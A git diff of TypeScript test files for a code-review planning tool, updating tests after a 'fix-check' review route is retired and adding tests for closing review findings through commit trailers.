+++ b/test/review-plan-targeted-delta.test.ts
@@ -35,8 +35,8 @@ function reviewed(baseFiles: Record<string, string> = {}, branchFiles: Record<st
const plan = (r: { dir: string; env: NodeJS.ProcessEnv }, args: string[]) => spawnSync(path.join(BIN, 'gstack-review-plan'), ['--base', 'main', '--gate-tagged', '0', ...args], { cwd: r.dir, encoding: 'utf8', timeout: 60_000, env: r.env });
const patchOf = (r: { dir: string; env: NodeJS.ProcessEnv }) => JSON.parse(plan(r, ['--json']).stdout).targeted.targeted_patch_id as string;
const dispatches = (stdout: string) => stdout.split('\n').filter(l => l.startsWith('DISPATCH: '));
-/** The loop finished clean: pass 1, a clean fix-check, nothing open. */
-const done = (rangeBase: string, ran: string) => ['--pass', '1', '--last', 'fix-check', '--fixed-below', '--range-base', rangeBase, '--targeted-ran', ran];
+/** The loop finished clean: a clean round 2, nothing open. */
+const done = (rangeBase: string, ran: string) => ['--pass', '2', '--last', 'full', '--range-base', rangeBase, '--targeted-ran', ran];
describe('GST-1598: a post-review docs delta that trips a targeted claim gets one targeted-only reader', () => {
// Value: protects=the #225 shape has an exit: when the loop is done and the only change since the targeted read is a docs file
@@ -49,7 +49,7 @@ describe('GST-1598: a post-review docs delta that trips a targeted claim gets on
const r = reviewed();
const read = r.git('rev-parse', 'HEAD');
const readPatch = patchOf(r);
- expect(dispatches(plan(r, ['--pass', '1', '--last', 'fix-check', '--fixed-below', '--targeted-ran', readPatch]).stdout)).toEqual([]);
+ expect(dispatches(plan(r, ['--pass', '2', '--last', 'full', '--targeted-ran', readPatch]).stdout)).toEqual([]);
const head = r.commit({ 'changelog.d/eval-cost.md': '- Each PR eval run now costs about $4.20 instead of $11.\n' }, 'changelog');
const p = plan(r, done(read, readPatch));
expect(p.status, p.stderr).toBe(0);
@@ -69,23 +69,22 @@ describe('GST-1598: a post-review docs delta that trips a targeted claim gets on
expect(bind(head)).toMatchObject({ ok: true, targeted: { classes: ['money'], status: 'done' } });
});
- // Value: protects=a code change after the loop keeps today's route (the review loop, not a targeted-only read);
- // fails_when=the targeted-only step admits a code delta; seam=bin/gstack-review-plan; no_claim=how finish routes it
+ // Value: protects=a code change after the loop keeps today's route (the review loop, not a targeted-only read: since GST-3562
+ // part 4 the plan refuses until the step names its fix); fails_when=the targeted-only step admits a code delta; seam=bin/gstack-review-plan; no_claim=how finish routes it
test('a code delta after the read keeps today\'s behavior: no targeted-only reader', () => {
const r = reviewed();
const read = r.git('rev-parse', 'HEAD');
const readPatch = patchOf(r);
r.commit({ 'src/billing.ts': MONEY_CODE.replace('25', '50'), 'changelog.d/eval-cost.md': '- Cap raised to $50.\n' }, 'code');
const p = plan(r, done(read, readPatch));
- expect(p.status, p.stderr).toBe(0);
- expect(p.stdout).toContain('NEXT: done');
+ expect(p.status, p.stderr).toBe(3);
+ expect(p.stderr).toContain('review_required_no_readers');
expect(dispatches(p.stdout)).toEqual([]);
- expect(p.stdout).toContain('SKIP: targeted-only read (the change since range_base');
});
// Value: protects=a plain docs change still carries the record, so no reader is spent on it (GST-1195), and the range_base must be
// the commit the targeted reader read; fails_when=the plan dispatches on plain docs or on a range_base whose patch the passed
- // --targeted-ran does not name; seam=bin/gstack-review-plan; no_claim=receipt carry itself (parseReviewTargeted's tests)
+ // --targeted-ran does not name (since GST-3562 part 4 that plan refuses until the step names its fix); seam=bin/gstack-review-plan; no_claim=receipt carry itself (parseReviewTargeted's tests)
test('plain docs, or a range_base the targeted read did not read, dispatch nothing', () => {
const r = reviewed();
const read = r.git('rev-parse', 'HEAD');
@@ -96,7 +95,7 @@ describe('GST-1598: a post-review docs delta that trips a targeted claim gets on
r.commit({ 'changelog.d/eval-cost.md': '- Each PR eval run now costs about $4.20.\n' }, 'claim');
const wrong = plan(r, done(plainHead, readPatch));
expect(dispatches(wrong.stdout)).toEqual([]);
- expect(wrong.stdout).toContain('SKIP: targeted-only read (--targeted-ran');
+ expect([wrong.status, wrong.stderr.includes('review_required_no_readers')]).toEqual([3, true]);
});
// Value: protects=a main merge that only edits lines next to a reviewed branch hunk (comparePath's `context`) is no branch change,
@@ -119,20 +118,6 @@ describe('GST-1598: a post-review docs delta that trips a targeted claim gets on
expect(p.stdout).toContain(`TARGETED_DELTA: range_base=${read} paths=changelog.d/eval-cost.md classes=money`);
});
- // Value: protects=a grant is not what opens this read, and a grant the approval record does not hold still refuses before any plan;
- // fails_when=a fabricated --grant prints a plan; seam=bin/gstack-review-plan's grant check; no_claim=who may grant
- test('a fabricated grant refuses', () => {
- const r = reviewed();
- const read = r.git('rev-parse', 'HEAD');
- const readPatch = patchOf(r);
- const head = r.commit({ 'changelog.d/eval-cost.md': '- Each PR eval run now costs about $4.20.\n' }, 'changelog');
- const p = plan(r, [...done(read, readPatch), '--grant', 'a-000000000000']);
- expect([p.status, p.stdout]).toEqual([3, '']);
- expect(p.stderr).toContain('--grant a-000000000000');
- expect(p.stderr).toContain('review_loop_grant');
- expect(head).toMatch(/^[0-9a-f]{40}$/);
- });
-
// Value: protects=--force targeted no longer dispatches zero readers in silence: targeted is not a specialist, so the flag refuses and
// names the route; fails_when=--force targeted exits 0; seam=bin/gstack-review-plan; no_claim=other --force names
test('--force targeted refuses and names the route', () => {
diff --git a/test/review-risk-routing.test.ts b/test/review-risk-routing.test.ts
index 7c4e9492d..4071bc279 100644
--- a/test/review-risk-routing.test.ts
+++ b/test/review-risk-routing.test.ts
@@ -60,12 +60,11 @@ describe('UI text and SVGs stay code (R51: the docs paths are deferred to an all
describe('round 2 never ships an unread gate edit', () => {
// Value: protects=a gate-class edit after round 1 is always read again or goes to the owner (GST-3562 A: round 2's gate edit
- // gets the read-only full review of the final head, a gate edit after it stops); fails_when=a round-2 or fix-check gate
- // edit returns done; seam=nextStep
- test('a gate edit in round 2 gets the read-only full review, one after it or in a fix-check stops for the owner; a plain below-floor fix on a light no-runtime range finishes', () => {
+ // gets the read-only full review of the final head, a gate edit after it stops); fails_when=a round-2 gate edit
+ // returns done; seam=nextStep
+ test('a gate edit in round 2 gets the read-only full review, one after it stops for the owner; a plain below-floor fix on a light no-runtime range finishes', () => {
expect(nextStep({ fullPasses: 2, last: 'full', fixedBelow: true, touchedGate: true })).toMatchObject({ step: 'full', reason: expect.stringContaining('read-only final review (R51)') });
expect(nextStep({ fullPasses: 3, last: 'full', fixedBelow: true, touchedGate: true }).step).toBe('stop');
- expect(nextStep({ fullPasses: 1, last: 'fix-check', touchedGate: true })).toMatchObject({ step: 'stop', reason: expect.stringContaining('gate-class') });
expect(nextStep({ fullPasses: 2, last: 'full', fixedBelow: true, rangeRuntimeLines: 0 }, 'light').step).toBe('done');
});
});
diff --git a/test/review-risk-token-paths.test.ts b/test/review-risk-token-paths.test.ts
index e5821b69e..90f942235 100644
--- a/test/review-risk-token-paths.test.ts
+++ b/test/review-risk-token-paths.test.ts
@@ -133,9 +133,9 @@ const MAIN_1350_PLANS = 'bafc2b5329237dbb994ab85d5ee0a696e7bd479615f81206c9b4ce7
* asMainBeforeGst3562 (test/helpers/gst3562-replay.ts) first, which checks each changed step is an allowed kind and plans it with
* main's table at 0408128, so this check still compares only the GST-1350 class and depth moves. Per grid: (a) 44 fix-checks
* become a full pass on the range, (d) 22 unread below-floor fixes get their review, (e) 132 cap stops become one read-only full
- * review of the final head.
+ * review of the final head, (h) 1056 fix-check histories are retired inputs (GST-3562 part 4).
*/
-const GST3562_1350_CASES = { '0:a': 44, '0:d': 22, '0:e': 132, '1:a': 44, '1:d': 22, '1:e': 132 };
+const GST3562_1350_CASES = { '0:a': 44, '0:d': 22, '0:e': 132, '0:h': 1056, '1:a': 44, '1:d': 22, '1:e': 132, '1:h': 1056 };
describe('GST-1350 no-loss check', () => {
// Value: protects=the no-loss rule for review-depth changes: narrowing the token name drops readers only on benign token files;
// fails_when=a stand-in stops matching main's plans, a token file with a secret or a secrets, credentials or key file loses a
diff --git a/test/review-round-grant.test.ts b/test/review-round-grant.test.ts
deleted file mode 100644
index 4fdecbea4..000000000
--- a/test/review-round-grant.test.ts
+++ /dev/null
@@ -1,33 +0,0 @@
-/**
- * GST-2673: a review round grant is a reason the lane or its Captain records in the approvals path; it is never an
- * owner ask, never a plan approval, and it binds one head of one PR.
- */
-import { describe, expect, test } from 'bun:test';
-import { grantAt, reviewRoundGrantRow, reviewRoundGrants, reviewRoundGrantText, REVIEW_ROUND_GRANT_SCOPE } from '../lib/review-round-grant';
-import type { ApprovalRow } from '../lib/approval-record';
-
-const head = '1'.repeat(40);
-const row = (o: Partial<ApprovalRow>): ApprovalRow => ({ id: 'a-000000000001', date: '2026-11-14', recorded_at: '2026-11-14T00:00:00Z', words: 'w', by: 'captain:GStack Minder', pending: 'none', outcome: 'approved', source: 'manual', branch: 'b', ...reviewRoundGrantRow(head, 12, 'extra-round', 'the design changed after round 2'), ...o } as ApprovalRow);
-
-describe('review round grants', () => {
- test('the row round-trips with kind, head, PR and reason', () => {
- const [g] = reviewRoundGrants([row({})]);
- expect(g).toMatchObject({ kind: 'extra-round', head, pr: 12, reason: 'the design changed after round 2', approval: 'a-000000000001' });
- expect(REVIEW_ROUND_GRANT_SCOPE.test(row({}).scope)).toBe(true);
- expect(reviewRoundGrantText(g!)).toContain('extra-round at 111111111111 for PR #12');
- });
-
- test('only an approved row that gstack did not write counts, and it binds only its head and PR', () => {
- expect(reviewRoundGrants([row({ outcome: 'pending' as any })])).toEqual([]);
- expect(reviewRoundGrants([row({ by: 'gstack' })])).toEqual([]);
- expect(reviewRoundGrants([row({ by: 'gstack-evals Captain' })]).map(g => g.by)).toEqual(['gstack-evals Captain']);
- const gs = reviewRoundGrants([row({})]);
- expect(grantAt(gs, 12, head)).toBeDefined();
- expect(grantAt(gs, 13, head)).toBeUndefined();
- expect(grantAt(gs, 12, '2'.repeat(40))).toBeUndefined();
- });
-
- test('a mismatched ask and scope is no grant', () => {
- expect(reviewRoundGrants([row({ ask: 'review_round_grant extra-round at ' + '2'.repeat(40) + ' for pr 12: x' })])).toEqual([]);
- });
-});
diff --git a/test/review-targeted-stamp-carry.test.ts b/test/review-targeted-stamp-carry.test.ts
index 0e8da18b1..a495b4c73 100644
--- a/test/review-targeted-stamp-carry.test.ts
+++ b/test/review-targeted-stamp-carry.test.ts
@@ -57,8 +57,8 @@ function restampTo(repo: FixtureRepo, version = '1.2.5.0'): void {
}
const write = (repo: FixtureRepo, record: string) => runBin(repo, 'gstack-ship-receipt', ['write', '--base', 'main', '--session-kind', 'unattended', '--review-targeted', `@${record}`, '--json']);
-/** The plan after a clean fix-check, with the documented recovery flags: the commit the reader read and its targeted patch-id. */
-const planAfter = (repo: FixtureRepo, read: string, ran: string) => runBin(repo, 'gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--pass', '1', '--last', 'fix-check', '--fixed-below', '--range-base', read, '--targeted-ran', ran]);
+/** The plan after a clean round 2, with the documented recovery flags: the commit the reader read and its targeted patch-id. */
+const planAfter = (repo: FixtureRepo, read: string, ran: string) => runBin(repo, 'gstack-review-plan', ['--base', 'main', '--gate-tagged', '0', '--pass', '2', '--last', 'full', '--range-base', read, '--targeted-ran', ran]);
const dispatches = (out: string) => out.split('\n').filter(l => l.startsWith('DISPATCH: '));
describe('GST-1689: the receipt and the review plan agree on what carries a targeted record', () => {
@@ -118,7 +118,7 @@ describe('GST-1689: the receipt and the review plan agree on what carries a targ
// Value: protects=a one-line code change after the read still drops the record, release stamps beside it or not; fails_when=the
// stamp carry swallows a code edit; seam=gstack-ship-receipt write --review-targeted and the plan's skip reason
- test('restamp plus a one-line code change: write refuses and the plan sends it to the review loop', () => {
+ test('restamp plus a one-line code change: write refuses and the plan refuses to finish without a review', () => {
const { repo, read, record, ran } = readBranch();
restampTo(repo);
commit(repo, { 'src/charge.ts': 'export const spend_cap_usd = 50;\n' }, 'code after the read');
@@ -126,9 +126,8 @@ describe('GST-1689: the receipt and the review plan agree on what carries a targ
expect(w.status).toBe(EXIT.fail);
expect(w.err).toContain(`the targeted reader read ${read.slice(0, 12)}`);
const p = planAfter(repo, read, ran);
- expect(p.status, p.err).toBe(0);
+ expect([p.status, p.err]).toEqual([EXIT.refused, expect.stringContaining('(review_required_no_readers)')]);
expect(dispatches(p.out)).toEqual([]);
- expect(p.out).toContain('is not docs-only (src/charge.ts), so it takes the review loop');
});
// Value: protects=on a money-class PR a docs edit that adds a numeric claim still drops the record as strictly as before, and the
diff --git a/test/review-trailer-clearing.test.ts b/test/review-trailer-clearing.test.ts
new file mode 100644
index 000000000..9cdce4254
--- /dev/null
+++ b/test/review-trailer-clearing.test.ts
@@ -0,0 +1,98 @@
+/**
+ * #4597: an open blocker closes at write, with no owner ruling, when a fix commit carries its Review-Finding trailer and a later
+ * complete full review read the branch clean (lib/review-trailer-clearing.ts). Moved from the fix-check clearing tests when
+ * GST-3562 part 4 removed the granted fix-check route; the fixtures are synthetic and follow #4597's shape, not its bytes.
+ */
+import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
+import * as fs from 'node:fs';
+import * as path from 'node:path';
+import { clearByTrailer } from '../lib/review-trailer-clearing';
+import { extractReceipt } from '../lib/ship-receipt';
+import { RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
+
+setDefaultTimeout(120_000);
+const BIN = path.dirname(RELEASE);
+const fxs: ShipFx[] = [];
+afterEach(() => { while (fxs.length) fxs.pop()!.cleanup(); });
+
+const ID = 'p1/outside-voice#1', FP = 'src/x.ts:1:outside-voice';
+const blocker = { fingerprint: FP, severity: 'CRITICAL', action: 'open', blocking: true, ledger_id: ID, raised_by: 'outside-voice' };
+const CLEAN = { completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] };
+
+type LoggedRun = { f: ShipFx; run: (bin: string, args: string[]) => ReturnType<ShipFx['run']>; body: string; since: string; fixRun: string };
+const headOf = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
+const ok = (r: { status: number | null; stderr: string; stdout: string }) => { expect(r.status, r.stderr + r.stdout).toBe(0); return r.stdout; };
+
+/** A full review row through the logger: --start, then the row with --finish, bound to the committed HEAD. */
+function logRow(g: Pick<LoggedRun, 'run'>, skill: string, row: Record<string, unknown>) {
+ const start = ok(g.run('gstack-review-log', ['--start', skill])).trim();
+ ok(g.run('gstack-review-log', [JSON.stringify({ skill, timestamp: new Date().toISOString(), via: 'ship', review_scope: 'frozen', ...row }), '--finish', start]));
+}
+
+const rowsOf = (g: LoggedRun) => g.run('gstack-review-read', []).stdout.split('\n---CONFIG---')[0]!.split('\n').flatMap(l => { try { const v = JSON.parse(l); return v && typeof v === 'object' ? [v] : []; } catch { return []; } });
+
+/** /ship Step 19: the summary since the stopped run began, then write for the fix run. */
+function summaryThenWrite(g: LoggedRun, extra: string[] = []) {
+ const loop = path.join(g.f.root, 'loop.json');
+ ok(g.run('gstack-review-scope', ['summary', '--since', g.since, '--no-ledger', '--out', loop]));
+ return { loop: JSON.parse(fs.readFileSync(loop, 'utf8')), w: g.run('gstack-ship-receipt', ['write', '--pr', '7', '--run', g.fixRun, '--base', 'main', '--session-kind', 'unattended', '--review-loop', '@' + loop, '--body', g.body, ...extra]) };
+}
+
+describe('a Review-Finding trailer plus a later clean full round closes the finding (#4597)', () => {
+ // Value: protects=#4597, a fix whose Review-Finding trailer a later full round read clean closes; fails_when=write refuses
+ // RECEIPT_BLOCKER_OPEN because the round-2 row left the finding out; seam=gstack-ship-receipt write
+ test('#4597: a trailer plus a later clean full round closes the voice finding', () => {
+ const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
+ fxs.push(f);
+ const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
+ const g = { f, run, body: path.join(f.root, 'body.md'), since: new Date(Date.now() - 1000).toISOString(), fixRun: 'r1' } as LoggedRun;
+ fs.writeFileSync(g.body, 'Fixes a thing.\n');
+ logRow(g, 'review', { pass: 1, ...CLEAN });
+ logRow(g, 'adversarial-review', { status: 'issues_found', source: 'outside-voice', phase: 'adversarial', gate: 'informational', completed: true, findings: [blocker] });
+ f.write({ 'src/x.ts': 'export const x = 3;\n' });
+ f.git('add', '-A'); f.git('commit', '-qm', 'fix the outside voice blocker', '--trailer', 'Review-Finding: ' + ID + ' reader=outside-voice');
+ const before = summaryThenWrite(g);
+ expect(before.w.status).toBe(3);
+ logRow(g, 'review', { pass: 2, ...CLEAN });
+ const { loop, w } = summaryThenWrite(g);
+ expect(loop.open).toEqual([{ id: ID, fingerprint: FP }]);
+ expect(w.status, w.stderr).toBe(0);
+ expect(w.stderr).toContain('TRAILER_CLEAR: ' + ID + ' (fixed by ' + headOf(f).slice(0, 12));
+ expect(extractReceipt(fs.readFileSync(g.body, 'utf8')).receipt?.cleared_by_trailer).toEqual([{ id: ID, commit: headOf(f), review: headOf(f) }]);
+ // Value: protects=a later round that left anything open never clears by trailer, even with its findings in a findings file;
+ // fails_when=a round-2 row whose status says issues remain closes the trailer's finding; seam=clearByTrailer
+ const rows = rowsOf(g), pass2 = rows.filter(r => r.skill === 'review').at(-1)!;
+ const byTrailer = (r2: Record<string, unknown>) => clearByTrailer(f.work, { head: headOf(f), baseRef: 'origin/main', rows: [...rows.filter(r => r !== pass2), r2], open: loop.open });
+ expect(byTrailer(pass2)).toHaveLength(1);
+ expect(byTrailer({ ...pass2, status: 'issues_found', findings_open: 1, findings_file: '/tmp/f.jsonl', status_source: 'derived' })).toEqual([]);
+ expect(byTrailer({ ...pass2, findings: [{ fingerprint: 'src/x.ts:9:style', severity: 'INFORMATIONAL', action: 'open' }] })).toEqual([]);
+ // Value: protects=only a finished, converged full round that read the fix closes by trailer (#4664 trail read, flag 2);
+ // fails_when=a completed round that made its own fixes (converged false, bound incomplete), or whose range starts at or after
+ // the fix commit, closes the trailer's finding; seam=clearByTrailer
+ expect(byTrailer({ ...pass2, converged: false, review_binding: { ...pass2.review_binding, state: 'incomplete' } })).toEqual([]);
+ expect(byTrailer({ ...pass2, range_base: headOf(f) })).toEqual([]);
+ // Value: protects=a pass 1, which logs range_base null, reads the whole PR and still closes a committed fix by trailer (#4696
+ // ship-4696c, p1/outside-voice#4); fails_when=null reads as a range that leaves the fix out; seam=clearByTrailer
+ expect(byTrailer({ ...pass2, range_base: null })).toHaveLength(1);
+ });
+ // Value: protects=a security-class fingerprint never closes by trailer, so no closure line puts its location in the public body
+ // (#4664 trail read, flag 3); fails_when=a blocker with no ledger id closes by its raw path:line:security fingerprint;
+ // why_new=the #4597 replay uses a ledger id; seam=clearByTrailer; no_claim=closure by ledger id, which carries no location
+ test('a trailer naming a security fingerprint closes nothing, while the same trailer on a plain fingerprint closes', () => {
+ const byFingerprint = (fp: string) => {
+ const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n' });
+ fxs.push(f);
+ const run = (bin: string, args: string[]) => f.run(path.join(BIN, bin), args, { GSTACK_APPROVALS_MIRROR: '0' });
+ const g = { run } as LoggedRun;
+ logRow(g, 'review', { pass: 1, ...CLEAN });
+ logRow(g, 'adversarial-review', { status: 'issues_found', source: 'outside-voice', phase: 'adversarial', gate: 'informational', completed: true, findings: [{ fingerprint: fp, severity: 'CRITICAL', action: 'open', blocking: true, raised_by: 'outside-voice' }] });
+ f.write({ 'src/x.ts': 'export const x = 3;\n' });
+ f.git('add', '-A'); f.git('commit', '-qm', 'fix the blocker', '--trailer', 'Review-Finding: ' + fp + ' reader=outside-voice');
+ logRow(g, 'review', { pass: 2, ...CLEAN });
+ return clearByTrailer(f.work, { head: headOf(f), baseRef: 'origin/main', rows: rowsOf(g as LoggedRun), open: [fp] });
+ };
+ expect(byFingerprint('src/x.ts:1:style').map(t => t.id)).toEqual(['src/x.ts:1:style']);
+ expect(byFingerprint('src/x.ts:1:security')).toEqual([]);
+ expect(byFingerprint('src/x.ts::security')).toEqual([]);
+ });
+});
diff --git a/test/round-cap-granted-stop.test.ts b/test/round-cap-granted-stop.test.ts
deleted file mode 100644
index 5c9e9861b..000000000
--- a/test/round-cap-granted-stop.test.ts
+++ /dev/null
@@ -1,316 +0,0 @@
-/**
- * GST-2968 and GHOM-1 (ghome#40): a round grant recorded at PR_ROUND_CAP could not buy the round the stop names. The read-only
- * final review already counted as a full round, so a grant raising the cap from 2 to 3 still equalled the count; and a grant
- * recorded between /ship runs was honored only when the current run had used two passes, so the next run fell back to another
- * read-only full review ($8.78 against about $3). A stop now leaves a stop record in the PR body (gstack-ship-receipt stop), and a
- * fix-check round grant that names that stop's run, head and findings buys its fix round: one scoped fix-check of the PR's own
- * change since the stop's head, in the same run or a new one, claimed once (gstack-ship-receipt claim). Row ids are the case
- * matrix's (captain drive handoffs/GSTA-608/case-matrix.md).
- */
-import { afterEach, describe, expect, setDefaultTimeout, test } from 'bun:test';
-import * as fs from 'node:fs';
-import * as path from 'node:path';
-import type { ApprovalRow } from '../lib/approval-record';
-import { grantedStop, grantMarker, placeRunEntry, prReviewHistory, runStub, stopFrom, stopMarker } from '../lib/pr-review-history';
-import { nextStep } from '../lib/review-depth';
-import { reviewRoundGrantRow, reviewRoundGrants } from '../lib/review-round-grant';
-import { receiptRuns } from '../lib/ship-receipt';
-import { RELEASE, shipFixture, type ShipFx } from './helpers/ship-bin-fixture';
-
-setDefaultTimeout(90_000);
-const BIN = path.dirname(RELEASE);
-const fxs: ShipFx[] = [];
-afterEach(() => { while (fxs.length) fxs.pop()!.cleanup(); });
-
-const S = 'a'.repeat(40), S2 = 'b'.repeat(40), H = 'c'.repeat(40), T = 'd'.repeat(40);
-const loop = (passes: number, o: Record<string, number> = {}) => ({ passes, blocking_found: 1, deferred: 0, rounds: passes + (o.fix_checks ?? 0), ...o });
-const row = (id: string, o: Partial<ApprovalRow> & { scope: string; ask: string }): ApprovalRow =>
- ({ id, date: '2026-11-18', recorded_at: '2026-11-18T00:00:00Z', words: 'w', by: 'Captain GStack Minder (GSTA-36)', pending: 'none', outcome: 'approved', source: 'manual', branch: 'b', ...o } as ApprovalRow);
-const fixGrant = (id: string, o: { head?: string; pr?: number; run?: string; findings?: string[] } = {}) =>
- row(id, reviewRoundGrantRow(o.head ?? S, o.pr ?? 7, 'fix-check', 'the read-only review found a fixable blocker', { run: o.run ?? 'ro', findings: o.findings ?? ['p1/outside-voice#1'] }));
-/** Two full rounds by run r1, then run ro's read-only review that stopped at S (its stub and its stop record). */
-const stopped = () => [runStub({ head: H, run: 'r1', status: 'started', loop: loop(2) }), runStub({ head: S, run: 'ro', status: 'started', loop: loop(1) }), stopMarker({ head: S, tree: T, run: 'ro' })]
- .reduce((b, e) => placeRunEntry(b, e), '');
-const anc = (pairs: Array<[string, string]>) => (a: string, d: string) => a === d || pairs.some(([x, y]) => x === a && y === d);
-const ON = anc([[S, H], [H, S2], [S, S2]]);
-const answer = (body: string, grants: ApprovalRow[], o: { head?: string; run?: string; pr?: number; isAncestor?: (a: string, d: string) => boolean } = {}) =>
- grantedStop(body, reviewRoundGrants(grants), { pr: o.pr ?? 7, head: o.head ?? S2, run: o.run, isAncestor: o.isAncestor ?? ON });
-
-describe('the plan: a fix-check grant answering a stop buys its fix round (GST-2968, GHOM-1)', () => {
- // Value: protects=GHOM-1, a new run after a cross-run grant plans the fix-check, not another read-only full review; fails_when=prCapped
- // plans read-only full because priorFull >= cap; seam=nextStep
- test('G2/G5: a new run with priorFull 3 plans one scoped fix-check, not a read-only full review', () => {
- const n = nextStep({ fullPasses: 0, last: 'none', priorFull: 3, priorRounds: 3, grantedStop: 'a-1', rangeRuntimeLines: 4 } as any);
- expect(n.step).toBe('fix-check');
- expect(n.reason).toContain('a-1');
- });
- test('G1: the run that stopped plans the fix-check once the grant is recorded', () => {
- expect(nextStep({ fullPasses: 1, last: 'full', priorFull: 2, blockingOpen: true, grantedStop: 'a-1', rangeRuntimeLines: 4 } as any).step).toBe('fix-check');
- });
- test('X15: no fix since the stop head (empty, reverted or base-only range) plans no fix-check', () => {
- const n = nextStep({ fullPasses: 0, last: 'none', priorFull: 3, grantedStop: 'a-1', rangeRuntimeLines: null } as any);
- expect(n.step).toBe('stop');
- expect(n.reason).toContain('commit the fix');
- });
- test('G19: the granted fix-check never earns another; a blocker stops with PR_ROUND_CAP, a clean read is done', () => {
- const after = { fullPasses: 0, last: 'fix-check', fixChecks: 1, priorFull: 3, grantedStop: 'a-1' } as const;
- expect(nextStep({ ...after, blockingOpen: true } as any).step).toBe('stop');
- expect(nextStep({ ...after, blockingOpen: true } as any).reason).toStartWith('PR_ROUND_CAP');
- expect(nextStep({ ...after } as any).step).toBe('done');
- });
- test('G3: an extra-round grant recorded before review keeps its fix round when the fix needs a pass on the range', () => {
- const n = nextStep({ fullPasses: 1, last: 'full', priorFull: 2, roundGrant: 'a-2', fixedBlocking: true, rangeRuntimeLines: 500 } as any, 'full');
- expect(['full', 'scoped', 'fix-check']).toContain(n.step);
- });
- test('G4 (guard): an in-run loop grant after a round-2 full pass buys no fix-check: the fix gets the read-only full review (GST-3562 A); after a round-2 fix-check it still plans its one fix-check', () => {
- expect(nextStep({ fullPasses: 2, last: 'full', fixedBlocking: true, granted: 'a-3' } as any)).toMatchObject({ step: 'full', reason: expect.stringContaining('read-only final review (R51)') });
- expect(nextStep({ fullPasses: 1, last: 'fix-check', fixedBlocking: true, fixChecks: 1, granted: 'a-3' } as any).step).toBe('fix-check');
- });
-});
-
-describe('which grant answers which stop (lib/pr-review-history.ts grantedStop)', () => {
- test('G1/G2: a fix-check grant naming the newest stop\'s run, head and PR answers it', () => {
- expect(answer(stopped(), [fixGrant('a-000000000001')])).toMatchObject({ ok: true, grant: { approval: 'a-000000000001', findings: ['p1/outside-voice#1'] }, stop: { head: S, run: 'ro' } });
- });
- test('G11/X3: a grant another run claimed is spent; the claiming run itself may resume', () => {
- const body = placeRunEntry(stopped(), grantMarker({ head: S, run: 'fc1', grant: 'a-000000000001' }));
- expect((answer(body, [fixGrant('a-000000000001')]) as any).why).toContain('claimed by run fc1');
- expect(answer(body, [fixGrant('a-000000000001')], { run: 'fc1' })).toMatchObject({ ok: true });
- });
- test('G12/X5: a run voided after claiming still spent the grant', () => {
- const body = [grantMarker({ head: S, run: 'fc1', grant: 'a-000000000001' }), runStub({ head: S2, run: 'fc1', status: 'voided', loop: loop(0, { fix_checks: 1 }) })].reduce((b, e) => placeRunEntry(b, e), stopped());
- expect(answer(body, [fixGrant('a-000000000001')])).toMatchObject({ ok: false });
- });
- test('G13: a stop is stale once another run reviewed after it', () => {
- const body = placeRunEntry(stopped(), runStub({ head: S2, run: 'r3', status: 'started', loop: loop(1) }));
- expect((answer(body, [fixGrant('a-000000000001')]) as any).why).toContain('stale');
- });
- test('X6/G7: a grant naming another stop run or another head answers nothing', () => {
- expect(answer(stopped(), [fixGrant('a-000000000001', { run: 'other' })])).toMatchObject({ ok: false });
- expect(answer(stopped(), [fixGrant('a-000000000001', { head: H })])).toMatchObject({ ok: false });
- });
- test('G13b: a newer stop record makes an older stop\'s grant answer nothing', () => {
- expect(answer(placeRunEntry(stopped(), stopMarker({ head: S2, tree: T, run: 'fc1' })), [fixGrant('a-000000000001')])).toMatchObject({ ok: false });
- });
- test('G8: a head move off the stop head voids the grant', () => {
- expect((answer(stopped(), [fixGrant('a-000000000001')], { isAncestor: anc([]) }) as any).why).toContain('head move');
- });
- test('G17: a grant for another PR is not this PR\'s', () => {
- expect(answer(stopped(), [fixGrant('a-000000000001', { pr: 8 })])).toBeNull();
- });
- test('X1/G18: with no stop record a fix-check grant answers nothing, and an extra-round grant never answers a stop', () => {
- const noStop = placeRunEntry('', runStub({ head: H, run: 'r1', status: 'started', loop: loop(2) }));
- expect(answer(noStop, [fixGrant('a-000000000001')])).toMatchObject({ ok: false });
- expect(answer(stopped(), [row('a-000000000002', reviewRoundGrantRow(S, 7, 'extra-round', 'x'))])).toBeNull();
- });
- test('X2: trimming the runs block keeps stop and grant records; neither counts as a round', () => {
- let body = placeRunEntry(stopped(), grantMarker({ head: S, run: 'fc1', grant: 'a-000000000001' }));
- for (let i = 0; i < 40; i++) body = placeRunEntry(body, runStub({ head: S2, run: 'x' + i, status: 'voided', loop: loop(0) }));
- expect(receiptRuns(body).filter(r => r.mark).map(r => r.mark)).toEqual(['stop', 'grant']);
- expect(answer(body, [fixGrant('a-000000000001')])).toMatchObject({ ok: false });
- expect(prReviewHistory(stopped())).toMatchObject({ full: 3, rounds: 3, stubs: 2, heads: 2 });
- });
- test('a fix-check row with no stop answers its own head and no stop record (GST-3546); an extra-round row naming a stop is no grant', () => {
- const bare = row('a-000000000004', { scope: 'review_round_grant ' + S + ' pr=7 kind=fix-check', ask: 'review_round_grant fix-check at ' + S + ' for pr 7: x' });
- const extra = row('a-000000000005', { scope: 'review_round_grant ' + S + ' pr=7 kind=extra-round stop=ro findings=f#1', ask: 'review_round_grant extra-round at ' + S + ' for pr 7: x' });
- expect(reviewRoundGrants([bare, extra])).toEqual([expect.objectContaining({ kind: 'fix-check', head: S, pr: 7, approval: 'a-000000000004', findings: [] })]);
- expect(reviewRoundGrants([bare])[0]!.stop_run).toBeUndefined();
- expect(answer(placeRunEntry(stopped(), grantMarker({ head: S, run: 'fc1', grant: 'a-000000000004' })), [bare])).toMatchObject({ ok: false });
- });
-});
-
-describe('the stop record binds only a review gstack can tie to one commit (stopFrom)', () => {
- const tree = (c: string) => (c === S ? T : undefined);
- const bound = { skill: 'review', via: 'ship', timestamp: '2026-11-18T01:00:00Z', completed: true, converged: false, commit_full: S, tree: T, wtree: T, review_binding: { state: 'incomplete', start_wtree: T, end_wtree: T } };
